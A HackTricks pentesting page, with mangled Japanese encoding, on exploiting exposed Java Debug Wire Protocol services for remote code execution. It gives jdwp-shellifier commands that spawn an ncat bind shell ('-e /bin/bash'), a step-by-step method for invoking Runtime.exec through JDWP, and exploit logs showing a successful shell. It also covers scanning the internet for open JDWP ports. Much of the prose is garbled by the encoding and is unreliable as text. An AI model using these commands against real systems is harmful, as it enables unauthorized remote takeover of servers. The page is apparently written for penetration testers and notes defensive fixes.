# Pentesting JDWP - Java Debug Wire Protocol
âïž HackTricks Cloud âïž -ðŠ Twitter ðŠ - ðïž Twitch ðïž - ð¥ Youtube ð¥
* **ãµã€ããŒã»ãã¥ãªãã£äŒç€Ÿ**ã§åããŠããŸããïŒ**HackTricksã«ããªãã®äŒç€Ÿãåºåãããã§ããïŒ** ãŸãã¯ã**PEASSã®ææ°ããŒãžã§ã³ã«ã¢ã¯ã»ã¹ããããHackTricksãPDFã§ããŠã³ããŒããããã§ããïŒ** [**ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³**](https://github.com/sponsors/carlospolop)ããã§ãã¯ããŠãã ããïŒ
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)ãçºèŠããŠãã ãããç§ãã¡ã®ç¬å çãª[**NFTs**](https://opensea.io/collection/the-peass-family)ã³ã¬ã¯ã·ã§ã³ã§ãã
* [**å
¬åŒã®PEASS & HackTricksã°ããº**](https://peass.creator-spring.com)ãæã«å
¥ããŸãããã
* **[**ð¬**](https://emojipedia.org/speech-balloon/) [**Discordã°ã«ãŒã**](https://discord.gg/hRep4RUj7f)ã[**ãã¬ã°ã©ã ã°ã«ãŒã**](https://t.me/peass)ã«åå ãããã**Twitter** [**ðŠ**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**ã«ãã©ããŒããŠãã ããã**
* **[**hacktricksãªããžããª**](https://github.com/carlospolop/hacktricks)ãš[**hacktricks-cloudãªããžããª**](https://github.com/carlospolop/hacktricks-cloud)ã«PRãæåºããŠãããªãã®ãããã³ã°ãã¯ããã¯ãå
±æããŠãã ããã**
## Exploiting
JDWPã®ãšã¯ã¹ããã€ãã¯ã**èªèšŒãšæå·åã®æ¬ åŠ**ã«åºã¥ããŠããŸããéåžžã¯**ããŒã8000**ã§èŠã€ãããŸãããä»ã®ããŒããå¯èœã§ããåææ¥ç¶ã¯ãã¿ãŒã²ããããŒãã«"JDWP-Handshake"ãéä¿¡ããããšã§è¡ãããŸããJDWPãµãŒãã¹ãã¢ã¯ãã£ãã§ããã°ãåãæååã§å¿çãããã®ååšã確èªããŸãããã®ãã³ãã·ã§ã€ã¯ã¯ããããã¯ãŒã¯äžã®JDWPãµãŒãã¹ãèå¥ããããã®ãã£ã³ã¬ãŒããªã³ãæ¹æ³ãšããŠæ©èœããŸãã
ããã»ã¹èå¥ã«é¢ããŠã¯ãJavaããã»ã¹ã§æåå"jdwk"ãæ€çŽ¢ããããšã§ãã¢ã¯ãã£ããªJDWPã»ãã·ã§ã³ã瀺ãããšãã§ããŸãã
äž»èŠãªããŒã«ã¯[jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier)ã§ããç°ãªããã©ã¡ãŒã¿ãŒã§äœ¿çšã§ããŸãïŒ
```bash
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
```
`--break-on 'java.lang.String.indexOf'`ã䜿çšãããšããšã¯ã¹ããã€ãããã**å®å®**ããããšãããããŸããããŸãããã¹ãã«ããã¯ãã¢ãã¢ããããŒãããŠå®è¡ããæ©äŒãããã°ãã³ãã³ããå®è¡ãã代ããã«ãããå®è¡ããããšã§ããšã¯ã¹ããã€ãã¯ããã«å®å®ããŸãã
## 詳现
**ã³ããŒå
** [**https://ioactive.com/hacking-java-debug-wire-protocol-or-how/**](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)
### **Java Debug Wire Protocol**
**Java Platform Debug Architecture (JPDA)**: JDWPã¯ãJava Platform Debug Architecture (JPDA)\[2]ãšåŒã°ããå
šäœçãªJavaãããã°ã·ã¹ãã ã®äžéšã§ãã以äžã¯å
šäœçãªã¢ãŒããã¯ãã£ã®å³ã§ãïŒ
[![](https://ioactive.com/wp-content/uploads/2014/04/jdpa.png)](https://ioactive.com/wp-content/uploads/2014/04/jdpa-1.png)
Debuggeeã¯ãã¿ãŒã²ããã¢ããªã±ãŒã·ã§ã³ãå®è¡ãããã«ãã¹ã¬ããã®JVMã§æ§æãããŠããŸãããªã¢ãŒãã§ãããã°å¯èœã§ããããã«ã¯ãJVMã€ã³ã¹ã¿ã³ã¹ã¯ã³ãã³ãã©ã€ã³ã§-Xdebugãªãã·ã§ã³ãæ瀺çã«æå®ããŠèµ·åããå¿
èŠããããŸãããŸãã-XrunjdwpïŒãŸãã¯-agentlibïŒãªãã·ã§ã³ãå¿
èŠã§ããäŸãã°ããªã¢ãŒããããã°ãæå¹ã«ããŠTomcatãµãŒããŒãèµ·åãããšæ¬¡ã®ããã«ãªããŸãïŒ
[![](https://ioactive.com/wp-content/uploads/2014/04/tomat.png)](https://ioactive.com/wp-content/uploads/2014/04/tomat-1.png)
ã¢ãŒããã¯ãã£å³ã«ç€ºãããŠããããã«ãJava Debug Wire Protocolã¯DebuggerãšJVMã€ã³ã¹ã¿ã³ã¹ã®éã®äžå¿çãªãªã³ã¯ã§ãããããã³ã«ã«é¢ãã芳å¯ç¹ã¯ä»¥äžã®éãã§ãïŒ
* ãã±ããããŒã¹ã®ãããã¯ãŒã¯ãã€ããªãããã³ã«ã§ãã
* äž»ã«åæçã§ãããããã¬ãŒã¯JDWPãä»ããŠã³ãã³ããéä¿¡ããå¿çãåãåãããšãæåŸ
ããŸãããã ããã€ãã³ãã®ãããªäžéšã®ã³ãã³ãã¯åæçãªå¿çãæåŸ
ããŸãããç¹å®ã®æ¡ä»¶ãæºãããããšãã«å¿çãéä¿¡ããŸããäŸãã°ãBreakPointã¯ã€ãã³ãã§ãã
* èªèšŒã䜿çšããŸããã
* æå·åã䜿çšããŸããã
ãããã®èŠ³å¯ç¹ã¯ããããã°ãããã³ã«ã«ã€ããŠè©±ããŠããã®ã§ãå
šãŠçã«ããªã£ãŠããŸãããããããã®ãããªãµãŒãã¹ãæµå¯Ÿçãªãããã¯ãŒã¯ã«é²åºããŠããå ŽåããŸãã¯ã€ã³ã¿ãŒãããã«é¢ããŠããå Žåãåé¡ãçºçããå¯èœæ§ããããŸãã\
\
**ãã³ãã·ã§ã€ã¯**: JDWPã¯\[9]ãã·ã³ãã«ãªãã³ãã·ã§ã€ã¯ã«ãã£ãŠéä¿¡ãéå§ããå¿
èŠããããšèŠå®ããŠããŸããæåããTCPæ¥ç¶åŸãDebuggerïŒã¯ã©ã€ã¢ã³ãïŒã¯14æåã®ASCIIæååãJDWP-Handshakeããéä¿¡ããŸããDebuggeeïŒãµãŒããŒïŒã¯ãåãæååãéä¿¡ããããšã§ãã®ã¡ãã»ãŒãžã«å¿çããŸãã以äžã®scapy\[3]ãã¬ãŒã¹ã¯ãåæã®åæ¹åãã³ãã·ã§ã€ã¯ã瀺ããŠããŸãïŒ
root:\~/tools/scapy-hg # ip addr show dev eth0 | grep âinet â inet 192.168.2.2/24 brd 192.168.2.255 scope global eth0root:\~/tools/scapy-hg # ./run\_scapy
Welcome to Scapy (2.2.0-dev)\
**>>>** sniff(filter=âtcp port 8000 and host 192.168.2.9â³, count=8)\
\\
**>>>** tcp.hexraw()\
0000 15:49:30.397814 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 S\
0001 15:49:30.402445 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 SA\
0002 15:49:30.402508 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A\
0003 15:49:30.402601 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 PA / Raw\
**0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake**\
0004 15:49:30.407553 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A\
0005 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A\
0006 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 PA / Raw\
**0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake**\
0007 15:49:30.407636 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A
ã»ãã¥ãªãã£ç£æ»äººã§ããã°ããã®ãããªã·ã³ãã«ãªãã³ãã·ã§ã€ã¯ãã€ã³ã¿ãŒãããäžã®çããŠããJDWPãµãŒãã¹ãç°¡åã«èŠã€ããæ¹æ³ãæäŸããããšã«ãã§ã«æ°ã¥ããŠãããããããŸãããåçŽãªãããŒããéä¿¡ããç¹å®ã®å¿çã確èªããã ãã§ããããã«èå³æ·±ãããšã«ãShodanHQ\[4]ã§ã¹ãã£ã³ãããšãã«IBM Java Development Kitã§èŠ³å¯ãããæåãããããµãŒããŒãæåã«åããããŒã§ã話ãå§ããããšãããã®ã§ãããã®çµæã掻åäžã®JDWPãµãŒãã¹ãå®å
šã«ååçã«çºèŠããæ¹æ³ããããŸãïŒãã®èšäºã®åŸåã§ãæåãªShodanã䜿ã£ãŠã«ããŒãããŠããŸãïŒã\
\
**éä¿¡**: JDWPã¯DebuggerãšDebuggeeéã®éä¿¡ã«é¢ããã¡ãã»ãŒãž\[10]ãå®çŸ©ããŠããŸããã¡ãã»ãŒãžã¯ä»¥äžã®ããã«ã·ã³ãã«ãªæ§é ã§å®çŸ©ãããŠããŸãïŒ
LengthãšIdãã£ãŒã«ãã¯èªå·±èª¬æçã§ããFlagãã£ãŒã«ãã¯ãªã¯ãšã¹ããã±ãããšå¿çãã±ãããåºå¥ããããã«ã®ã¿äœ¿çšããã0x80ã®å€ã¯å¿çãã±ããã瀺ããŸããCommandSetãã£ãŒã«ãã¯ä»¥äžã®è¡šã«ç€ºãããã«ãã³ãã³ãã®ã«ããŽãªãå®çŸ©ããŸãã\
\\
| **CommandSet** | \*\* Command\*\* |
| -------------- | ---------------------------------------------------------------------------------------------------------------- |
| 0x40 | JVMã«ãã£ãŠåãããã¹ãã¢ã¯ã·ã§ã³ïŒäŸïŒBreakPointã®èšå®ïŒ |
| 0x40â0x7F | ãããã¬ãŒã«ã€ãã³ãæ
å ±ãæäŸããïŒäŸïŒJVMãBreakPointã«éãããããªãã¢ã¯ã·ã§ã³ãåŸ
ã£ãŠããïŒ |
| 0x80 | ãµãŒãããŒãã£ã®æ¡åŒµ |
ä»»æã®ã³ãŒããå®è¡ããããšèããŠããã®ã§ã以äžã®ã³ãã³ããç§ãã¡ã®ç®çã«ãšã£ãŠæãèå³æ·±ããã®ã§ãã
* VirtualMachine/IDSizesã¯ãJVMãæ±ãããŒã¿æ§é ã®ãµã€ãºãå®çŸ©ããŸãããããnmapã¹ã¯ãªããjdwp-exec.nse\[11]ãæ©èœããªãçç±ã®1ã€ã§ãããªããªããã¹ã¯ãªããã¯ããŒãã³ãŒãããããµã€ãºã䜿çšããŠããããã§ãã
* ClassType/InvokeMethodã䜿çšãããšãéçé¢æ°ãåŒã³åºãããšãã§ããŸãã
* ObjectReference/InvokeMethodã䜿çšãããšãJVMå
ã®ã€ã³ã¹ã¿ã³ã¹åããããªããžã§ã¯ãããé¢æ°ãåŒã³åºãããšãã§ããŸãã
* StackFrame/(Get|Set)Valuesã¯ãã¹ã¬ããã¹ã¿ãã¯ããã®ããã·ã¥/ãããæ©èœãæäŸããŸãã
* Event/Compositeã¯ããã®ã³ãã³ãã«ãã£ãŠå®£èšãããç¹å®ã®åäœã«JVMãåå¿ããããã«åŒ·å¶ããŸãããã®ã³ãã³ãã¯ãããã°ç®çã®ããã®äž»èŠãªéµã§ããããã¬ãŒã¯ãã€ã³ãã®èšå®ãã©ã³ã¿ã€ã äžã®ã¹ã¬ããã®ã·ã³ã°ã«ã¹ãããå®è¡ãGDBãWinDBGãšåãæ¹æ³ã§å€ã®ã¢ã¯ã»ã¹/å€æŽæã®éç¥ãªã©ãå€ãã®ä»ã®ããšãå¯èœã«ããŸãã
JDWPã¯ã¡ã¢ãªã«æ¢ã«ååšãããªããžã§ã¯ãã«ã¢ã¯ã»ã¹ããŠåŒã³åºãããšãå¯èœã«ããã ãã§ãªããããŒã¿ãäœæãŸãã¯äžæžãããããšãå¯èœã«ããŸãã
* VirtualMachine/CreateStringã䜿çšãããšãæååãJVMã©ã³ã¿ã€ã å
ã§çããŠããjava.lang.Stringã«å€æããããšãã§ããŸãã
* VirtualMachine/RedefineClassesã䜿çšãããšãæ°ããã¯ã©ã¹å®çŸ©ãã€ã³ã¹ããŒã«ããããšãã§ããŸãã
**ãããªãã®JDWPã¯ãã¹ãŠç§ãã¡ã®ãã®ã§ãã**
èŠãŠããããã«ãJDWPã¯ä»»æã®ã¯ã©ã¹ãJVMã¡ã¢ãªã«ããŒãããæ¢åã®ããã³/ãŸãã¯æ°ããããŒãããããã€ãã³ãŒããåŒã³åºãããã®çµã¿èŸŒã¿ã³ãã³ããæäŸããŸãã次ã®ã»ã¯ã·ã§ã³ã§ã¯ãPythonã§ã®ãšã¯ã¹ããã€ãã³ãŒãã®äœææé ãã«ããŒããŸããããã¯ãå¯èœãªéãä¿¡é Œæ§ã®é«ãJDIããã³ããšã³ãã®éšåçãªå®è£
ãšããŠæ¯ãèããã®ã§ãããã®ã¹ã¿ã³ãã¢ãã³ã®ãšã¯ã¹ããã€ãã¹ã¯ãªããã®äž»ãªçç±ã¯ããããã¬ãŒã·ã§ã³ãã¹ã¿ãŒãšããŠãããããã·ã§ããããšã¯ã¹ããã€ãã奜ãã ããã§ããã€ãŸããç°å¢/ã¢ããªã±ãŒã·ã§ã³/ãããã³ã«ãè匱ã§ããããšã確å®ã«ããã£ãŠããå Žåãããã«ãããå©çšããããã®ããŒã«ãçšæããŠããããã®ã§ãïŒã€ãŸãããããŸã§åºæ¬çã«ååšããŠããã®ã¯PoCã ãã§ãïŒãããã§ã¯ãçè«ãã«ããŒããã®ã§ãå®éã®å®è£
ã«å
¥ããŸãããããªãŒãã³ãªJDWPãµãŒãã¹ã«çŽé¢ããå Žåãä»»æã®ã³ãã³ãå®è¡ã¯ã¡ããã©5ã¹ãããïŒãŸãã¯ãã®ãšã¯ã¹ããã€ãã䜿çšãããšã1ã€ã®ã³ãã³ãã©ã€ã³ã ãïŒé¢ããŠããŸãããããªããŸãïŒ1. Javaã©ã³ã¿ã€ã åç
§ã®ååŸJVMã¯ãªããžã§ã¯ãããã®åç
§ãéããŠæäœããŸãããã®ãããç§ãã¡ã®ãšã¯ã¹ããã€ãã¯ãŸãjava.lang.Runtimeã¯ã©ã¹ãžã®åç
§ãååŸããå¿
èŠããããŸãããã®ã¯ã©ã¹ãããgetRuntime()ã¡ãœãããžã®åç
§ãå¿
èŠã§ããããã¯ããã¹ãŠã®ã¯ã©ã¹ïŒAllClassesãã±ããïŒãšãæ¢ããŠããã¯ã©ã¹ã®ãã¹ãŠã®ã¡ãœããïŒReferenceType/Methodsãã±ããïŒãååŸããããšã§å®è¡ãããŸãã2. ãã¬ãŒã¯ãã€ã³ãã®èšå®ãšéç¥ã®åŸ
æ©ïŒéåæåŒã³åºãïŒãããç§ãã¡ã®ãšã¯ã¹ããã€ãã®éµã§ããä»»æã®ã³ãŒããåŒã³åºãããã«ã¯ãå®è¡äžã®ã¹ã¬ããã³ã³ããã¹ãã«ããå¿
èŠããããŸãããããè¡ãããã®ããã¯ã¯ãã©ã³ã¿ã€ã äžã«åŒã³åºãããããšãããã£ãŠããã¡ãœããã«ãã¬ãŒã¯ãã€ã³ããèšå®ããããšã§ããåè¿°ã®ããã«ãJDIã®ãã¬ãŒã¯ãã€ã³ãã¯BREAKPOINT(0x02)ã«èšå®ãããéåæã€ãã³ãã§ããããããããšãJVMã¯ãã¬ãŒã¯ãã€ã³ãIDãå«ãEventDataãã±ããããããã¬ãŒã«éä¿¡ããããéèŠãªããšã«ãããããããããã¹ã¬ãããžã®åç
§ãéä¿¡ããŸãã\
\
ãããã£ãŠãjava.net.ServerSocket.accept()ã®ãããªé »ç¹ã«åŒã³åºãããã¡ãœããã«èšå®ããã®ã¯è¯ãèãã§ããããã¯ããµãŒããŒãæ°ãããããã¯ãŒã¯æ¥ç¶ãåãåããã³ã«åŒã³åºãããå¯èœæ§ãéåžžã«é«ãããã§ãããã ããã©ã³ã¿ã€ã äžã«ååšããä»»æã®ã¡ãœããã§ããå¯èœæ§ãããããšã念é ã«çœ®ãå¿
èŠããããŸãã3. ãã€ããŒããå®è¡ããããã«Runtimeã«Java Stringãªããžã§ã¯ããå²ãåœãŠãç§ãã¡ã¯JVMã©ã³ã¿ã€ã ã§ã³ãŒããå®è¡ããã®ã§ãæäœãããã¹ãŠã®ããŒã¿ïŒæååãªã©ïŒã¯JVMã©ã³ã¿ã€ã ã«ååšããå¿
èŠããããŸãïŒã€ãŸããã©ã³ã¿ã€ã åç
§ãæã£ãŠããå¿
èŠããããŸãïŒãããã¯CreateStringã³ãã³ããéä¿¡ããããšã§éåžžã«ç°¡åã«è¡ãããšãã§ããŸãã
4\. ãã¬ãŒã¯ãã€ã³ãã³ã³ããã¹ãããRuntimeãªããžã§ã¯ããååŸãã®æç¹ã§ãæåãä¿¡é Œæ§ã®é«ããšã¯ã¹ããã€ãã«å¿
èŠãªã»ãšãã©ãã¹ãŠã®èŠçŽ ãæã£ãŠããŸããç§ãã¡ãæ¬ ããŠããã®ã¯Runtimeãªããžã§ã¯ãåç
§ã§ãããããååŸããã®ã¯ç°¡åã§ãåã«JVMã©ã³ã¿ã€ã ã§java.lang.Runtime.getRuntime()éçã¡ãœãã\[8]ãå®è¡ããããšãã§ããŸããããã¯ClassType/InvokeMethodãã±ãããéä¿¡ããRuntimeã¯ã©ã¹ãšã¹ã¬ããã®åç
§ãæäŸããããšã§è¡ããŸãã5. Runtimeã€ã³ã¹ã¿ã³ã¹ã§exec()ã¡ãœãããæ€çŽ¢ããŠåŒã³åºãæåŸã®ã¹ãããã¯ãåã®ã¹ãããã§ååŸããRuntimeéçãªããžã§ã¯ãã§exec()ã¡ãœãããæ¢ãããããåŒã³åºãïŒObjectReference/InvokeMethodãã±ãã
```
hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.9
[+] Targeting â192.168.2.9:8000â
[+] Reading settings for âJava HotSpot(TM) 64-Bit Server VM â 1.6.0_65â
[+] Found Runtime class: id=466[+] Found Runtime.getRuntime(): id=7facdb6a8038
[+] Created break event id=2
[+] Waiting for an event on âjava.net.ServerSocket.acceptâ## Here we wait for breakpoint to be triggered by a new connection ##
[+] Received matching event from thread 0x8b0
[+] Found Operating System âMac OS Xâ
[+] Found User name âpentestosxâ
[+] Found ClassPath â/Users/pentestosx/Desktop/apache-tomcat-6.0.39/bin/bootstrap.jarâ
[+] Found User home directory â/Users/pentestosxâ
[!] Command successfully executed
```
åãã³ãã³ãã©ã€ã³ã§ãããWindowsã·ã¹ãã ã«å¯ŸããŠå®è¡ããå
šãç°ãªãã¡ãœããã§ãã¬ãŒã¯ããŸãïŒ
```
hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 âbreak-on âjava.lang.String.indexOfâ
[+] Targeting â192.168.2.8:8000â
[+] Reading settings for âJava HotSpot(TM) Client VM â 1.7.0_51â
[+] Found Runtime class: id=593
[+] Found Runtime.getRuntime(): id=17977a9c
[+] Created break event id=2
[+] Waiting for an event on âjava.lang.String.indexOfâ
[+] Received matching event from thread 0x8f5
[+] Found Operating System âWindows 7â
[+] Found User name âhugsyâ
[+] Found ClassPath âC:UsershugsyDesktopapache-tomcat-6.0.39binbootstrap.jarâ
[+] Found User home directory âC:Usershugsyâ
[!] Command successfully executed
```
å®è¡ç°å¢ã¯Linuxã·ã¹ãã ã§ãããã€ããŒã "ncat -e /bin/bash -l -p 1337" ã䜿çšããŠãã€ã³ãã·ã§ã«ãçæããããã«ãç§ãã¡ã®ãšã¯ã¹ããã€ããå®è¡ããŸãïŒ
```
hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 âcmd âncat -l -p 1337 -e /bin/bashâ
[+] Targeting â192.168.2.8:8000â
[+] Reading settings for âOpenJDK Client VM â 1.6.0_27â
[+] Found Runtime class: id=79d
[+] Found Runtime.getRuntime(): id=8a1f5e0
[+] Created break event id=2
[+] Waiting for an event on âjava.net.ServerSocket.acceptâ
[+] Received matching event from thread 0x82a[+] Selected payload âncat -l -p 1337 -e /bin/bashâ
[+] Command string object created id:82b
[+] Runtime.getRuntime() returned context id:0x82c
[+] found Runtime.exec(): id=8a1f5fc[+] Runtime.exec() successful, retId=82d
[!] Command successfully executed Success, we now have a listening socket!
root@pwnbox:~/apache-tomcat-6.0.39# netstat -ntpl | grep 1337
tcp 0 0 0.0.0.0:1337 0.0.0.0:* LISTEN 19242/ncat
tcp6 0 0 :::1337 :::* LISTEN 19242/ncat
```
æçµçãªãšã¯ã¹ããã€ãã¯ãããã®ãã¯ããã¯ã䜿çšããããã€ãã®ãã§ãã¯ãè¿œå ããã§ããã ãå°ãªãæ··ä¹±ãåŒãèµ·ããããã«suspend/resumeã·ã°ãã«ãéä¿¡ããŸãïŒäœæ¥äžã®ã¢ããªã±ãŒã·ã§ã³ãå£ããªãã®ãåžžã«æåã§ãããïŒïŒãããã¯äºã€ã®ã¢ãŒãã§åäœããŸãïŒ
* ãããã©ã«ããã¢ãŒãã¯å®å
šã«é䟵å
¥çã§ãããŒã«ã«ã·ã¹ãã æ
å ±ãååŸããããã«Javaã³ãŒããå®è¡ããã ãã§ãïŒã¯ã©ã€ã¢ã³ããžã®PoCã«æé©ã§ãïŒã
* ãcmdããªãã·ã§ã³ãæž¡ããšããªã¢ãŒããã¹ãã§ã·ã¹ãã ã³ãã³ããå®è¡ãããã䟵å
¥çã§ããã³ãã³ãã¯JVMãå®è¡ãããŠããæš©éã§è¡ãããŸãã
ãã®ãšã¯ã¹ããã€ãã¹ã¯ãªããã¯ä»¥äžã«å¯ŸããŠæåè£ã«ãã¹ããããŸããïŒ
* Oracle Java JDK 1.6 ããã³ 1.7
* OpenJDK 1.6
* IBM JDK 1.6
Javaã¯èšèšäžãã©ãããã©ãŒã ã«äŸåããªããããJavaããµããŒãããä»»æã®ãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã§ã³ãã³ããå®è¡ã§ããŸããããã¯å®éã«ã¯ç§ãã¡pentestersã«ãšã£ãŠè¯ããã¥ãŒã¹ã§ãïŒ**ãªãŒãã³ãªJDWPãµãŒãã¹ã¯ä¿¡é Œæ§ã®é«ãRCEãæå³ããŸã**ããããŸã§ã®ãšãããè¯ãã§ãã
### **å®éã®ãšã¯ã¹ããã€ãã«ã€ããŠã¯ïŒ**
å®éã«ã¯ãJDWPã¯Javaã¢ããªã±ãŒã·ã§ã³ã®äžçã§ããªã䜿çšãããŠããŸãããããããªã¢ãŒãã¢ã»ã¹ã¡ã³ããå®æœããéã«pentestersããããé »ç¹ã«èŠãããšã¯ãªããããããŸããããªããªãããã¡ã€ã¢ãŠã©ãŒã«ã¯ïŒãããŠãã¹ãã§ããïŒéåžžããããå®è¡ãããŠããããŒãããããã¯ããããã§ããããããããã¯JDWPãéçã§èŠã€ããããªããšããæå³ã§ã¯ãããŸããïŒ
* ãã®èšäºãæžããŠããæç¹ã§ãShodanHQ\[4\]ã§ã®ç°¡åãªæ€çŽ¢ã¯ãJDWPãã³ãã·ã§ã€ã¯ãéä¿¡ããŠããçŽ40å°ã®ãµãŒããŒãããã«æããã«ããŸããïŒ
![](https://ioactive.com/wp-content/uploads/2014/04/shodan.png)
ããã¯å®éã«ã¯èå³æ·±ãçºèŠã§ãããªããªããåã«èŠãããã«ã察話ãéå§ããã®ã¯ã¯ã©ã€ã¢ã³ãåŽïŒãããã¬ãŒïŒã§ããã¹ãã ããã§ãã
* GitHub\[7\]ããæœåšçã«è匱ãªãªãŒãã³ãœãŒã¹ã¢ããªã±ãŒã·ã§ã³ã®ããªãã®æ°ãæããã«ããŠããŸãïŒ
![](https://ioactive.com/wp-content/uploads/2014/04/github.png)
* ç¹å®ã®ããŒãïŒtcp/8000ãtcp/8080ãtcp/8787ãtcp/5005ïŒãæ¢ããŠã€ã³ã¿ãŒããããmasscanãããšãåæãã³ãã·ã§ã€ã¯ã«å¿çããå€ãã®ãã¹ãïŒããã§ã¯å ±åã§ããŸããïŒãèŠã€ãããŸããã
* ããšã³ã¿ãŒãã©ã€ãºãã¢ããªã±ãŒã·ã§ã³ãã\*ããã©ã«ãã§\*JDWPãµãŒãã¹ãå®è¡ããŠããããšãéçã§èŠã€ãããŸããïŒå®éã®ããŒãçªå·ãèŠã€ããã®ã¯å¥œå¥å¿æºçãªèªè
ã«ä»»ãããŠããŸãïŒã
ãããã¯ã€ã³ã¿ãŒãããäžã§ãªãŒãã³ãªJDWPãµãŒãã¹ãçºèŠããããã®ããã€ãã®æ¹æ³ã§ããããã¯ãã¢ããªã±ãŒã·ã§ã³ã¯å®æçã«åŸ¹åºçãªã»ãã¥ãªãã£ã¬ãã¥ãŒãåããã¹ãã§ãããæ¬çªç°å¢ã§ã¯ãããã°æ©èœããªãã«ãªã£ãŠããã¹ãã§ããããã¡ã€ã¢ãŠã©ãŒã«ã¯éåžžã®éçšã«å¿
èŠãªãµãŒãã¹ãžã®ã¢ã¯ã»ã¹ã®ã¿ãå¶éããããã«èšå®ãããã¹ãã§ãããšããçŽ æŽããããªãã€ã³ããŒã§ãã誰ã§ãJDWPãµãŒãã¹ã«æ¥ç¶ã§ããããã«ããããšã¯ãgdbserverãµãŒãã¹ã«æ¥ç¶ãèš±å¯ããã®ãšå
šãåãã§ãïŒããããããå®å®ããæ¹æ³ã§ïŒããã®èšäºãèªãã§æ¥œããã§ããã ããã幞ãã§ãããããŠããã¹ãŠã®åŒ·åãªæµ·è³ãã¡ãžã楜ããJDWP pwningãïŒïŒ
**æè¬**\
\
Ilja Van SprundelãšSebastien Mackeã«ã圌ãã®ã¢ã€ãã¢ãšãã¹ãã«æè¬ããŸãã
### **åç
§ïŒ**
1. [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier)
2. [http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html](http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html)
3. http://www.secdev.org/projects/scapy(ããã¢ã¯ãã£ãã§ã¯ãããŸãã)
4. [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE)
5. http://www.hsc-news.com/archives/2013/000109.html (ããã¢ã¯ãã£ãã§ã¯ãããŸãã)
6. [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt)
7. https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults
8. [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html)
9. [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com)
10. [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
11. [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html)
âïž HackTricks Cloud âïž -ðŠ Twitter ðŠ - ðïž Twitch ðïž - ð¥ Youtube ð¥
* **ãµã€ããŒã»ãã¥ãªãã£äŒç€Ÿ**ã§åããŠããŸããïŒ **HackTricksã«ããªãã®äŒç€Ÿãåºåãããã§ããïŒ** ãŸãã¯ã**ææ°çã®PEASSãå
¥æ**ãããã**HackTricksãPDFã§ããŠã³ããŒã**ãããã§ããïŒ [**ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³**](https://github.com/sponsors/carlospolop)ããã§ãã¯ããŠãã ããïŒ
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)ãçºèŠããŠãã ãããç§ãã¡ã®ç¬å çãª[**NFTs**](https://opensea.io/collection/the-peass-family)ã®ã³ã¬ã¯ã·ã§ã³ã§ãã
* [**å
¬åŒã®PEASS & HackTricksã°ããº**](https://peass.creator-spring.com)ãæã«å
¥ããŸãããã
* **[**ð¬**](https://emojipedia.org/speech-balloon/) [**Discordã°ã«ãŒã**](https://discord.gg/hRep4RUj7f)ã«åå ãããã[**telegramã°ã«ãŒã**](https://t.me/peass)ã«åå ãããã**Twitter** [**ðŠ**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**ã«**ãã©ããŒããŠãã ããã**
* **[**hacktricks repo**](https://github.com/carlospolop/hacktricks)ãš[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)ã«PRãæåºããŠãããªãã®ãããã³ã°ã®ã³ããå
±æããŠãã ããã**